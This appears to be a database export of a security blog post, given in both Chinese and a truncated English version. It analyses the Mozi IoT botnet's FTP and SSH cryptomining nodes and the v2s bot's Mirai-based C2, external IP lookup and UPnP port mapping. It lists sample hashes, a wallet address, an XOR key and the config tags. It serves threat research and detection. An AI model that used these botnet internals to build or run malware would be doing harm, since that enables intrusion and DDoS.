Mozi_ftp，Mozi_ssh的发现，使得我们有明确的证据证明Mozi僵尸网络也在试图从挖矿中牟利。从bot，ftp，ssh这3种节点的样本上，可以看出其作者已经将"DHT+Config"这种模型作为一个基本模块来使用，通过复用这个模块，再为不同的功能节点设计不同的特殊标签命令，就能快速的开发出新功能节点所需的程序，十分方便，这种便利性是Mozi僵尸网络能快速膨胀的原因之一。
Mozi bot v2s有哪些变化？
在Mozi僵尸网络中，占比最高的就是mozi_bot的节点。2020年1月07日，我们捕获了版本号为v2s的bot样本(1bd4f62fdad18b0c140dce9ad750f6de)，随后此版本活跃至今。这个版本引起过安全社区的大量关注，虽然许多安全产商对其都有过分析，但是我们发现依然有遗漏的部分，我们将从补缺这个角度出发，向社区分享我们的发现。
据统计，mozi v2s bot样本主要为ARM，MIPS俩个CPU架构，下文选取ARM架构的样本为分析对象，样本信息如下
MD5:b9e122860983d035a21f6984a92bfb22
ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Lib: uclibc
Packer:UPX
v2s的bot样本与我们最初分析的v2样本有非常多的变化，其中最直观的体现在Config支持的标签上，v2s新增加了2个标签[cnc],[hj]，除此之外，新增外网地址获取，upnp端口映射等功能，下面将一一分析这些功能给Mozi_bot带来的变化， 其中[hj]标签的功能，微软于2021年8月19日发表过这方面的文章，读者可自行参阅。
0x1:[cnc] 标签
Mozi僵尸网络的"DHT+Config"这种设计固然有其便利性，但同时也产生了一个缺陷，全部Bot节点在同步Config时存在效率低下的问题，这会间接的导致DDoS的效率低下。为了解决这个问题，Mozi作者设计了[cnc]这个标签，对应新的DDoS攻击子任务。
整个子任务复用了Mirai的代码，通过[cnc]关键字指定C2，Bot节点通过Mirai协议和C2建立通信后，等待C2下发的指令进行DDos攻击。增加了这个子任务后，Mozi要进行攻击时，不再需要通过一次一次同步Config获取攻击目标，只需同步一次Config，得到指定的C2即可，极大的提高了Bot节点的攻击效率，对应的网络结构如下所示：
以下是获取C2：PORT的代码片段
以下是发送上线包的代码片段
以下是发送心跳的代码片段
以下是支持的攻击向量，一共有12种方法，编号11被写了2次，因此Mozi的Bot节点只支持11种攻击方法。
对Mirai熟悉的朋友看到此处想必会会心一笑，正是因为大量使用Mirai代码，这批Mozi样本被大量杀软产商标记为Mirai，我们推荐杀软产商根据子功能的名称编写查杀特征以正确的标识Mozi_bot样本。
0x2:外网地址获取
通过http://ipinfo.io/ip获取外网IP以便在在Telnet，Exploit的payload使用。
加入这个特性之后不会再有下面内网ip出现在传播payload的情况了。
0x3:upnp端口映射
当被感染的设备是通过NAT访问网络时，Mozi_bot通过监听端口在设备上开启的HTTP样本下载服务是无法被外网直接访问的，新版本的Mozi通过upnp的AddPortMapping在路由器上实现端口映射，以保证服务的正常访问。
0x4:小结
我们可以看出Mozi bot的这些更新都是为了提高效率：DDoS攻击的效率，传播感染的效率。弃用Gafgyt的攻击代码，转向更有效率的Mirai。通过[cnc]子任务，重构DDoS攻击功能，实现控制节点与业务节点的分离，极大的增加了Mozi的网络弹性，这种分离意味着僵尸网络的控制功能和实际业务解耦，使得Mozi的作者不仅可以自己进行DDos攻击，也能很方便的将整个网络租赁给别的团伙。
Mozi bots还在更新吗？
Mozi僵尸网络的样本已经在相当长一段时间内停止更新了，然而这并不意味着Mozi带来的威胁就此终止，由于其已经散布在互联网上的部分有着持续感染的能力，每天都会有新的设备被感染成为僵尸网络的一部分，也每天都会有设备因为升级或者离线从而脱离该僵尸网络的控制。总体我们预期其规模会以周为周期震荡下行，并在互联网上存活数年。既往已经有若干被各国执法机构终结的僵尸网络走上了这条道路，Mozi僵尸网络也已经一步一步走向它的坟墓。
总结
Ftp,SSH结点的相继被发现，让我们对Mozi僵尸网络有了更深的认知。Mozi僵尸网络是一个混杂的，影响Windows，Linux，IOT 多平台的大型僵尸网络，通过TELNET,SSH,FTP弱口令爆破，以及Nday漏洞的方式实现蠕虫式扩张，它由不同类型的功能结点组成，现已知的节点有进行DDoS攻击的Bot节点，进行Miner的Ftp,SSH结点。网络结构的清楚，不代表掌握了它所有的细节，我们相信还有许多信息可以填充到Mozi僵尸网络这张图上，由于视野有限，目前只能向安全社区分享这么多。如果社区有相关的线索，欢迎与我们联系，让我们一起Make Cyber Security Great Again。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 背景\n\n360NETLAB于2019年12月首次披露了[**Mozi僵尸网络**](__GHOST_URL__/mozi-another-botnet-using-dht/)，到现在已有将近2年时间，在这段时间中，我们见证了它从一个小规模僵尸网络发展为巅峰时占据了极高比例IOT流量巨无霸的过程。\n\n现在Mozi的作者已经``被执法机关处置``，其中我们也全程提供了[技术协助](https://mp.weixin.qq.com/s/Su0-uU5JaUrAh8ptTzTCsA)，因此我们认为后续在相当长的一段时间内它都不会继续更新。但我们知道，Mozi采用了P2P网络结构，而P2P网络的一大“优点”是健壮性好， 即使部分节点瘫痪，整个网络仍然能工作。所以即使Mozi作者不再发布新的更新，它仍然会存活一段时间，残余的节点仍然会去感染其它存在漏洞的设备，所以我们现在仍然能看到Mozi在传播，正可谓“百足之虫，死而不僵”。\n\n许多安全厂商都对Mozi进行了跟踪分析，但从我们的角度而言，或多或少有些遗漏，甚至有错误。今天我们将对Mozi的看法总结在下面这篇文章里，以补充安全社区的分析；同时也为我们对Mozi僵尸网络的持续关注画上一个句号。\n\n本文将回答以下问题：\n\n1：Mozi除Bot节点外还有别的功能节点吗？\n\n2：Mozi Bot模块有新功能吗？\n\n3：Mozi僵尸网络还在更新吗？\n\n\n\n\n\n\n\n# Mozi僵尸网络中除了Bot还有哪些功能节点？\n\n众所周知，Mozi僵尸网络中的各个节点被Botnet Master下发的名为**Config**的配置文件驱动，执行具体任务。下图就是一个经典的Config文件，其中```[ss]```字段说明了节点的功能，此处即为Bot节点，主要功能是DDoS攻击。\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_confbot.PNG\" width=\"860px\" />\n\n\n令我们疑惑的是，在跟踪过程中，除了Bot节点的Config，还收到了下面这些形式的Config文件，这说明Mozi僵尸网络中还存在着名为**sk,ftp,sns,ssh**的节点。\n\n```\n[ss]sk[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id\n[ss]ftp[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id\n[ss]sns[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id\n[ss]ssh[/ss][hp]88888888[/hp]\n```\n那他们到底是什么呢？这一直困扰着我们，幸运的是，时间给了我们答案。\n### 0x1:FTP节点\n\n2020年1月20日，一个名为\"photo.scr\"的Windows PE文件(a9d4007c9419a6e8d55805b8f8f52de0)产生的网络流量命中了我们的Mozi特征。一开始我们以为这是一个误报，但经过分析之后，我们确定这正是我们心心念念的Mozi ftp节点样本。为了区分Mozi僵尸网络中不同功能节点的样本，我们内部开始使用Mozi_\"ss value\"这种命名方式，因此这个样本被命名为Mozi_ftp。\n\n简单来说，Mozi_ftp是一个pyinstaller打包的挖矿木马，通过FTP弱口令爆破实现蠕虫式传播，同时它也会加入Mozi的P2P网络中，等待执行Botnet Master下发的Config。钱包地址如下所示:\n```\n47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV\n```\n其中名为**back.jpg**的模块负责加入Mozi网络以及拉取Config文件，它的基本信息如下所示：\n\n> Filename:back.jpg\n>\n> MD5:4ae078dd5085e97d3605f20dc079412a\n>\n> PE32 executable for MS Windows (DLL) (console) Intel 80386\n>\n> Packer: upx\n\n在脱壳后的样本中，可以很清楚的看到Mozi_ftp Config支持的的一些标签。\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_ftp.png\" width=\"860px\" />\n\n\n\n同Mozi_bot一样，Mozi_ftp也内嵌了一个加密的原始Config文件，通过XOR解密后如下所示：\n\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_ftpconf.png\" width=\"860px\" />\n\n同Mozi_bot一样，Mozi_ftp通过下面的代码片段对Config进行签名校验\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_verify.png\" width=\"860px\" />\n\n\n\n\n其中用到的XOR密钥，以及2个public_key如下所示：\n\n```\n xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E\n------------------------------------------------------------------\nxored publickey A \n\t4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F \n\t69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B \n\t38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1\t\nafter decryption: \n\t02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21 \n\t27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65 \n\t76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef\n-------------------------------------------------------------------\nxored publickey B\n\t4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8 \n\tE9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53 \n\t22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88\nafter decryption:\n\t02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6 \n\ta7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d \n\t6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6\n```\n\n它们的值和Mozi_bot所使用的值相同，根据ECDSA384椭圆算法的特性，这说明Mozi_ftp和Mozi_bot使用的相同的私钥，排除私钥泄露的可能性，可以断定它们是出自同一个团伙。\n\n在back.jpg中可以看出Mozi_ftp的Config支持以下基本标签：\n\n```\n[hp]\n[cpu]\n[cpux]\n[ss]\n[ssx]\n[nd]\n```\n\n在ftpcrack.py的脚本中，有下的代码片段，\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_ftp_py.png\" width=\"860px\" />\n这说明Mozi_ftp还实现以下4个自有的特殊标签\n```\n[mdf]\n[mdr]\n[mud]\n[mrn]\n```\n\n\n\n### 0x2:SSH节点\n\nMozi借用了51la平台来统计其自身规模,这是僵尸网络作者使用的统计工具，其精度和时间延迟远胜于外部探测。2020年9月，我们拿到了Mozi的后台统计数据，在上面，我们除了看到了Mozi_bot节点的统计数据外，还看到下图所示的一组不曾见过的上报入口。\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_soso.PNG\" width=\"860px\" />\n\n2021年8月18附近，安全产商深信服，奇安信发布威胁预警，一个名为WorkMiner的挖矿木马正在通过SSH口令爆破传播，有P2P网络行为，这引起了我们的兴趣。经过分析，我们惊奇的发现这正是Mozi僵尸网络中的SSH节点，51la那组特别上报入口正是源自于它，依照旧例，我们将它称之为Mozi_ssh。\n\n我们选取分析的样本基本信息如下所示：\n>\n>Filename:work64\n>MD5:429258270068966813aa77efd5834a94\n>ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped\n>Packer:upx\n\n简单来说，Mozi_ssh是一个通过SSH弱口令爆破实现蠕虫式传播的挖矿木马，大约于2020年10月开始活动(基于样本在VT的时间，未必准确)，钱包地址如下所示，可以看出Mozi_ssh和Mozi_ftp使用相同的钱包。\n```\n47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV\n```\nMozi_ssh是由GO代码和C代码混合编译而来。其中GO代码负责SSH相关的爆破传播，以及对Config的处理，C代码则负责处理加入Mozi P2P网络，拉取Config。\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_ssh.png\" width=\"860px\" />\n\n\n\n\nMozi_ssh通过以下代码片段实现调用C代码(dht_task)加到P2P网络中。\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_sshgoc.png\" width=\"860px\" />\n\n\n\n\n函数dht_task的处理逻辑和Mozi_bot一样，内嵌的Config解密后如下所示：\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_sshconf.png\" width=\"860px\" />\n\n\n\n和Mozi_ftp一样，用于解密的Config的XOR密钥，以及用于Config签名检验的2个public_key和Mozi_bot中所用的是一样的，这说明Mozi_ssh与Mozi_bot出自于同一个团伙。\n\n在dht_task函数中，可以看到，Mozi_ssh的Config支持以下基本标签：\n\n```\n[hp]\n[ver]\n[cpu]\n[ss]\n[sv]\n[nd]\n```\n\n对于通过检验后的Config，Mozi_ssh用通过函数``main_deal_conf``来处理，比如下面的代码片段就是在处理**swan**标签。相较于Mozi_bot，Mozi_ssh除了支持基本标签，还实现了许多自有的特殊标签。\n\n\n\n\nMozi_ssh支持的自有的特殊标签如下所示：\n\n```\n[slan]\n[swan]\n[spl]\n[sdf]\n[sud]\n[ssh]\n[srn]\n[sdr]\n[scount]\n```\n\n\n\n### 0x3: 小结\n\nMozi_ftp，Mozi_ssh的发现，使得我们有明确的证据证明Mozi僵尸网络也在试图从挖矿中牟利。从bot，ftp，ssh这3种节点的样本上，可以看出其作者已经将\"DHT+Config\"这种模型作为一个基本模块来使用，通过复用这个模块，再为不同的功能节点设计不同的特殊标签命令，就能快速的开发出新功能节点所需的程序，十分方便，这种便利性是Mozi僵尸网络能快速膨胀的原因之一。\n\n\n\n# Mozi bot v2s有哪些变化？\n\n在Mozi僵尸网络中，占比最高的就是mozi_bot的节点。2020年1月07日，我们捕获了版本号为v2s的bot样本(```1bd4f62fdad18b0c140dce9ad750f6de```)，随后此版本活跃至今。这个版本引起过安全社区的大量关注，虽然许多安全产商对其都有过分析，但是我们发现依然有遗漏的部分，我们将从补缺这个角度出发，向社区分享我们的发现。\n\n据统计，mozi v2s bot样本主要为ARM，MIPS俩个CPU架构，下文选取ARM架构的样本为分析对象，样本信息如下\n\n> MD5:b9e122860983d035a21f6984a92bfb22\n>\n> ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n>\n> Lib: uclibc\n>\n> Packer:UPX\n\nv2s的bot样本与我们最初分析的v2样本有非常多的变化，其中最直观的体现在Config支持的标签上，v2s新增加了2个标签`[cnc],[hj]`，除此之外，新增外网地址获取，upnp端口映射等功能，下面将一一分析这些功能给Mozi_bot带来的变化， 其中[hj]标签的功能，[微软](https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/)于2021年8月19日发表过这方面的文章，读者可自行参阅。\n\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_compare.PNG\" width=\"860px\" />\n\n\n\n\n### 0x1:[cnc] 标签\n\n\nMozi僵尸网络的\"DHT+Config\"这种设计固然有其便利性，但同时也产生了一个缺陷，全部Bot节点在同步Config时存在效率低下的问题，这会间接的导致DDoS的效率低下。为了解决这个问题，Mozi作者设计了[cnc]这个标签，对应新的DDoS攻击子任务。\n\n整个子任务复用了Mirai的代码，通过[cnc]关键字指定C2，Bot节点通过Mirai协议和C2建立通信后，等待C2下发的指令进行DDos攻击。增加了这个子任务后，Mozi要进行攻击时，不再需要通过一次一次同步Config获取攻击目标，只需同步一次Config，得到指定的C2即可，极大的提高了Bot节点的攻击效率，对应的网络结构如下所示：\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_network.jpg\" width=\"860px\" />\n\n以下是获取C2：PORT的代码片段\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_mirai.PNG\" width=\"860px\" />\n\n\n\n以下是发送上线包的代码片段\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_initmsg.PNG\" width=\"860px\" />\n\n\n\n以下是发送心跳的代码片段\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_heartbeat.PNG\" width=\"860px\" />\n\n\n\n以下是支持的攻击向量，一共有12种方法，编号11被写了2次，因此Mozi的Bot节点只支持11种攻击方法。\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_ddos.PNG\" width=\"860px\" />\n\n\n\n对Mirai熟悉的朋友看到此处想必会会心一笑，正是因为大量使用Mirai代码，这批Mozi样本被大量杀软产商标记为Mirai，我们推荐杀软产商根据子功能的名称编写查杀特征以正确的标识Mozi_bot样本。\n\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_vt.PNG\" width=\"860px\" />\n\n\n### 0x2:外网地址获取\n\n通过```http://ipinfo.io/ip```获取外网IP以便在在Telnet，Exploit的payload使用。\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_ip.PNG\" width=\"860px\" />\n\n\n\n加入这个特性之后不会再有下面内网ip出现在传播payload的情况了。\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_error.PNG\" width=\"860px\" />\n\n\n\n### 0x3:upnp端口映射\n\n当被感染的设备是通过NAT访问网络时，Mozi_bot通过监听端口在设备上开启的HTTP样本下载服务是无法被外网直接访问的，新版本的Mozi通过upnp的```AddPortMapping```在路由器上实现端口映射，以保证服务的正常访问。\n\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_upnp.PNG\" width=\"860px\" />\n\n\n\n### 0x4:小结\n\n我们可以看出Mozi bot的这些更新都是为了提高效率：DDoS攻击的效率，传播感染的效率。弃用Gafgyt的攻击代码，转向更有效率的Mirai。通过[cnc]子任务，重构DDoS攻击功能，实现控制节点与业务节点的分离，极大的增加了Mozi的网络弹性，这种分离意味着``僵尸网络的控制功能和实际业务解耦``，使得Mozi的作者不仅可以自己进行DDos攻击，也能很方便的将整个网络租赁给别的团伙。\n\n\n\n# Mozi bots还在更新吗？\n\nMozi僵尸网络的样本已经在相当长一段时间内停止更新了，然而这并不意味着Mozi带来的威胁就此终止，由于其已经散布在互联网上的部分有着持续感染的能力，每天都会有新的设备被感染成为僵尸网络的一部分，也每天都会有设备因为升级或者离线从而脱离该僵尸网络的控制。总体我们预期其规模会以周为周期震荡下行，并在互联网上存活数年。``既往已经有若干被各国执法机构终结的僵尸网络走上了这条道路，Mozi僵尸网络也已经一步一步走向它的坟墓``。\n\n\n\n# 总结\n\nFtp,SSH结点的相继被发现，让我们对Mozi僵尸网络有了更深的认知。Mozi僵尸网络是一个混杂的，影响Windows，Linux，IOT 多平台的大型僵尸网络，通过TELNET,SSH,FTP弱口令爆破，以及Nday漏洞的方式实现蠕虫式扩张，它由不同类型的功能结点组成，现已知的节点有进行DDoS攻击的Bot节点，进行Miner的Ftp,SSH结点。网络结构的清楚，不代表掌握了它所有的细节，我们相信还有许多信息可以填充到Mozi僵尸网络这张图上，由于视野有限，目前只能向安全社区分享这么多。如果社区有相关的线索，欢迎与我们联系，让我们一起``Make Cyber Security Great Again``。"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 612761363819e50007634a76 |
post | null | 2021-08-29T13:24:49.000Z | 63873b9a8b1c1e0007f52fdd | xin-wei-xie-shu-zi-da-dao-nasthiefzheng-zai-tou-qu-xu-ni-qian-bao | 0 | 2021-09-26T13:47:01.000Z | public | draft | null | null | 新威胁：数字大盗Qnapthief正在觊觎你的数字钱包 | null | null | {"version":"0.3.1","markups":[],"atoms":[],"cards":[],"sections":[[1,"p",[[0,[],0,""]]]],"ghostVersion":"3.0"} | 612b8aa13819e50007634c05 |
post | null | 2021-08-30T04:00:35.000Z | 63873b9a8b1c1e0007f52fde | the-mostly-dead-mozi-and-its-lingering-bots | 0 | 2022-02-09T07:05:40.000Z | public | published | null | 2021-08-30T14:00:00.000Z | The Mostly Dead Mozi and Its’ Lingering Bots | <!--kg-card-begin: markdown--><h1 id="background">Background</h1>
<p>It has been nearly 2 years since we (<strong>360NETLAB</strong>) first disclosed the <a href="__GHOST_URL__/mozi-another-botnet-using-dht/"><strong>Mozi botnet</strong></a> in December 2019, and in that time we have witnessed its development from a small-scale botnet to a giant that accounted for <code>an extremely high percentage of IOT traffic at its peak</code>.</p>
<p>Now that <strong>Mozi's authors have been taking custody by law enforcement agencies</strong>, in which we provided technical <a href="https://mp.weixin.qq.com/s/Su0-uU5JaUrAh8ptTzTCsA">assistance</a> throughout, we don't think it will continue to be updated for quite some time to come. But we know that Mozi uses a P2P network structure, and one of the "advantages" of a P2P network is that it is robust, so even if some of the nodes go down, the whole network will carry on, and the remaining nodes will still infect other vulnerable devices, that is why we can still see Mozi spreading.</p>
<p>Many security vendors have tracked and analyzed Mozi, but from our point of view, there are some omissions and even mistakes. So here is our provide some updates to complement the security community's analysis; and to conclude our ongoing focus on the Mozi botnet.</p>
<p>This article will answer the following questions.</p>
<p><strong>1: Does Mozi have any functional nodes other than the Bot node?</strong></p>
<p><strong>2: Are there any new features in the Mozi Bot module?</strong></p>
<p><strong>3: Is the Mozi botnet still being updated?</strong></p>
<h1 id="whataretheotherfunctionalnodesinthemozibotnetbesidesthebot">What are the other functional nodes in the Mozi botnet besides the Bot?</h1>
<p>As we all know, each node in the Mozi botnet is driven by a configuration file called Config issued by the Botnet Master to perform specific tasks. The following figure is a classic Config file, where the <code>[ss]</code> field describes the function of the node, in this case the <code>Bot node</code>, the main function is DDoS attacks.<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_confbot.PNG" width="860px" /><br>
What puzzled us was that, in addition to the Bot node's Config, the following forms of Config files were captured as well, indicating that there were also nodes named <strong>sk,ftp,sns,ssh</strong> in the Mozi botnet.</p>
<pre><code>[ss]sk[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id
[ss]ftp[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id
[ss]sns[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id
[ss]ssh[/ss][hp]88888888[/hp]
</code></pre>
<p>So what exactly are they?</p>
<h3 id="0x1ftpnode">0x1: FTP node</h3>
<p>On January 20, 2020, a Windows PE file named "photo.scr" (a9d4007c9419a6e8d55805b8f8f52de0) generated network traffic that matched our Mozi signature. At first we thought it was a false alarm, but after analyzing it, we determined that it was exactly <strong>the Mozi ftp node sample we had in mind</strong>. In order to distinguish the samples from the different functional nodes in the Mozi botnet, we started to use the <code>Mozi_"ss value"</code> internally, so this sample was named <code>Mozi_ftp</code>.</p>
<p>In short, Mozi_ftp is a pyinstaller-packaged mining trojan that spreads through FTP weak password, and it joins the Mozi P2P network and waits to execute the Config issued by Botnet Master. the wallet address is shown below:</p>
<pre><code>47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
</code></pre>
<p>The module named <strong>back.jpg</strong> is responsible for joining the Mozi network as well as pulling the Config file, and its basic information is shown as follows.</p>
<blockquote>
<p>Filename:back.jpg</p>
<p>MD5:4ae078dd5085e97d3605f20dc079412a</p>
<p>PE32 executable for MS Windows (DLL) (console) Intel 80386</p>
<p>Packer: upx</p>
</blockquote>
<p>Some of the tags supported by Mozi_ftp Config can be clearly seen in the unpacked sample.</p>
<img src="__GHOST_URL__/content/images/2021/08/mozi_ftp.png" width="860px" />
Like Mozi_bot, Mozi_ftp also has an encrypted raw Config file embedded, which is decrypted by XOR as follows
<img src="__GHOST_URL__/content/images/2021/08/mozi_ftpconf.png" width="860px" />
As with Mozi_bot, Mozi_ftp checks the signature of the Config with the following code snippet
<img src="__GHOST_URL__/content/images/2021/08/mozi_verify.png" width="860px" />
<p>The XOR key used, and the two public_keys are as follows.</p>
<pre><code> xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
------------------------------------------------------------------
xored publickey A
4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F
69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B
38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1
after decryption:
02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21
27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65
76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef
-------------------------------------------------------------------
xored publickey B
4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8
E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53
22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88
after decryption:
02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6
</code></pre>
<p>Their values are the same as those used by Mozi_bot. According to the characteristics of the ECDSA384 elliptic algorithm, this means that <strong>Mozi_ftp and Mozi_bot use the same private key</strong>, and excluding the possibility of private key leakage, we can conclude that <strong>they are from the same author</strong>.</p>
<p>In <code>back.jpg</code>, we can see that Mozi_ftp's Config supports the following basic tags.</p>
<pre><code>[hp]
[cpu]
[cpux]
[ss]
[ssx]
[nd]
</code></pre>
<p>In the script of <code>ftpcrack.py</code>, there is the following code snippet.<br>
<img src="__GHOST_URL__/content/images/2021/08/mozi_ftp_py.png" width="860px" /><br>
This shows that Mozi_ftp also implements the following 4 special tags of its own.</p>
<pre><code>[mdf]
[mdr]
[mud]
[mrn]
</code></pre>
<h3 id="0x2sshnode">0x2: SSH node</h3>
<p>Mozi uses the 51la, public service platform for its own statistics, In September 2020, we were able to tape into Mozi's backend statistics, on which we see not only the statistics of the Mozi_bot node, but also a set of unseen reporting entries as shown below.<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_soso.PNG" width="860px" /><br>
On August 18, 2021, security vendor <strong>QiAnxin</strong> and <strong>Sangfor</strong> issued threat reports describing a mining Trojan named <strong>WorkMiner</strong> was spreading through weak SSH password, and it has P2P network behavior. We took a look and were surprised to find that this is exactly the SSH node in the Mozi botnet, and it has direct link to the aforementioned 51la urls. Here we will call it <code>Mozi_ssh</code>.</p>
<p>The basic information of the sample we selected for analysis is shown below.</p>
<blockquote>
<p>Filename:work64<br>
MD5:429258270068966813aa77efd5834a94<br>
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped<br>
Packer:upx</p>
</blockquote>
<p>In brief, Mozi_ssh is a mining trojan that spreads worm-like through SSH weak password, and became active around October 2020 (based on the sample's time on VT, which may not be accurate), with the wallet address shown below, which shows that Mozi_ssh and Mozi_ftp use the same wallet.</p>
<pre><code>47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
</code></pre>
<p>Mozi_ssh is compiled from a mix of GO code and C code. The GO code is responsible for SSH-related propagation and the handling of Config, while the C code handles joining the Mozi P2P network and pulling Config.<br>
<img src="__GHOST_URL__/content/images/2021/08/mozi_ssh.png" width="860px" /><br>
Mozi_ssh is implemented by the following code snippet calling the C code (dht_task) to add to the P2P network.<br>
<img src="__GHOST_URL__/content/images/2021/08/mozi_sshgoc.png" width="860px" /></p>
<p>The function dht_task handles the same logic as Mozi_bot, and the embedded Config is decrypted as shown below.<br>
<img src="__GHOST_URL__/content/images/2021/08/mozi_sshconf.png" width="860px" /><br>
Like Mozi_ftp, the XOR key used to decrypt the Config, and the two public_keys used to check the signature of the Config are the same as the ones used in Mozi_bot, which means that <strong>Mozi_ssh and Mozi_bot come from the same author</strong>.</p>
<p>In the <code>dht_task</code> function, it can be seen that the Config of Mozi_ssh supports the following basic tags.</p>
<pre><code>[hp]
[ver]
[cpu]
[ss]
[sv]
[nd]
</code></pre>
<p>For the Config that passes the test, Mozi_ssh uses to process it through the function main_deal_conf, for example, the following code snippet is processing the swan tag. Compared to Mozi_bot, Mozi_ssh supports not only basic tags, but also implements many of its own special tags.<br>
<img src="__GHOST_URL__/content/images/2021/08/mozi_sshdeal.png" alt="newmozi_confbot" loading="lazy"><br>
The special tags supported by Mozi_ssh are shown below.</p>
<pre><code>[slan]
[swan]
[spl]
[sdf]
[sud]
[ssh]
[srn]
[sdr]
[scount]
</code></pre>
<h3 id="0x3summary">0x3: Summary</h3>
<p>The discovery of Mozi_ftp, Mozi_ssh gives us clear evidence that the Mozi botnet is also trying to profit from mining. From the samples of <code>bot, ftp, and ssh nodes</code>, we can see that their authors have used the "DHT+Config" model as a basic module, and by reusing this module and designing different special tag commands for different functional nodes, they can quickly develop the programs needed for new functional nodes, which is very convenient. This convenience is one of the reasons for the rapid expansion of the Mozi botnet.</p>
<h1 id="whatarethechangesinmozibotv2s">What are the changes in Mozi bot v2s?</h1>
<p>The Mozi botnet was mostly made of mozi_bot nodes. On January 07, 2020, we captured the bot sample with a version number v2s (1bd4f62fdad18b0c140dce9ad750f6de), and this version has been active since then and has attracted a lot of attention from the security community, and although many security vendors have analyzed it, we found that there are still missing parts.</p>
<p>According to statistics, the samples of mozi v2s bot are mainly ARM and MIPS CPU architectures, and the samples of ARM architecture are selected below for analysis.</p>
<blockquote>
<p>MD5:b9e122860983d035a21f6984a92bfb22</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped</p>
<p>Lib: uclibc</p>
<p>Packer:UPX</p>
</blockquote>
<p>The v2s bot sample has many changes from the v2 sample we initially analyzed, the most intuitive of which is reflected in the tags supported by Config. v2s has added two new tags <strong>[cnc], [hj]</strong>, in addition to the new external network address acquisition, upnp port mapping and other features, the following section we will go over the changes brought by these features to Mozi_bot, note Microsoft published an article on the <code>[hj]</code> tag on August 19, 2021 <a href="https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/">here</a>.</p>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_compare.PNG" width="860px" />
<h3 id="0x1cnctag">0x1: [cnc] tag</h3>
